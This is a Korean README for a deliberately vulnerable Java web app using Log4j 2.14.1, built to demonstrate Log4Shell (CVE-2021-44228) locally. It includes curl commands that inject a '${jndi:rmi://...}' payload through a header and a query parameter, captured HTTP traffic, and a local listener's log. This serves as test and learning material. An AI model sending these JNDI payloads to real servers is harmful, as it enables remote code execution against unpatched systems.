
log4shell(CVE-2021-44228)에 영향을 받는 Log4j를 포함한 잠재적으로 취약한 Java 웹 애플리케이션입니다.
이는 Log4j(2.14.1)를 포함한 잠재적으로 취약한 Java 웹 애플리케이션으로, log4shell(CVE-2021-44228)의 영향을 받습니다.
java --version 명령을 실행하여 AdoptOpenJDK가 제대로 작동하는지 확인합니다.[참고]
JDK 버전, Tomcat 포트 등을 변경하려면 build.gradle을 편집하세요.
build.gradle과 함께 Gradle 래퍼를 실행합니다.
# on Linux
./gradlew appRun
# on Windows
.\gradlew.bat appRun
최상위 URL:
http://localhost:8080/l4s-vulnapp/
[참고]
Log4Shell은 앱이 일부 Log4j 로깅을 수행할 때만 트리거됩니다.
예를 들어, 다음 URL에 접근하면 Log4Shell이 실행됩니다.
http://localhost:8080/l4s-vulnapp/servlet
Log4Shell은 접근 시 'x-param' 값을 조작하거나 HTTP 요청에 'x-log' 헤더를 추가하여 확인할 수 있습니다.
이러한 매개변수는 Log4j에 의해 로깅됩니다.
단, 이는 localhost:8081에서 수신 서버가 실행 중인 경우에만 가능합니다.
curl http://localhost:8080/l4s-vulnapp/servlet -H 'x-log: ${jndi:rmi://localhost:8081/test.txt}'
curl -X GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D
HTTP 요청
GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/ *;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/l4s-vulnapp/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: ja,en-US;q=0.9,en;q=0.8
HTTP 응답
HTTP/1.1 200
Content-Type: text/plain;charset=utf-8
Content-Length: 62
Date: Fri, 15 Mar 2024 18:42:56 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Hello
Logging to console using vulnerable Log4j2 by parameter
l4s-vulnapp의 RMI 요청
2024/03/16 03:42:46: [Start] Receive Server for Log4Shell.
2024/03/16 03:42:46: [Note] Listening on IP: "localhost" Port: 8081
2024/03/16 03:42:55: [Note] Requested from IP: "127.0.0.1" Port: 53282)
2024/03/16 03:42:55: [Hex data] ===== start =====
2024/03/16 03:42:56: 00000000 4A 52 4D 49 00 02 4B 00 00 00 00 00 00 00 00 00 JRMI..K.........
2024/03/16 03:42:56: 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2024/03/16 03:42:56: [Hex data] ===== end =====
2024/03/16 03:42:56: [Raw data] ===== start =====
2024/03/16 03:42:56: JRMI
2024/03/16 03:42:56: [Raw data] ===== end =====
l4s-ls.ps1은 수신 서버를 시작합니다. 이 스크립트를 Windows PowerShell/명령 프롬프트에서 실행하세요.
이 서버는 LDAP 및 RMI와 같은 바이너리 통신을 수신하고, 해당 통신의 내용을 Hex 및 Raw로 표시할 수 있습니다.
스크립트가 오작동하는 경우 Ctrl + C를 사용하여 중지하세요.
[주의]
이 스크립트를 처음 실행할 때 Windows 팝업에서 '개인 네트워크'를 선택해야 합니다.
PowerShell -ExecutionPolicy RemoteSigned .\l4s-ls.ps1 -p 8081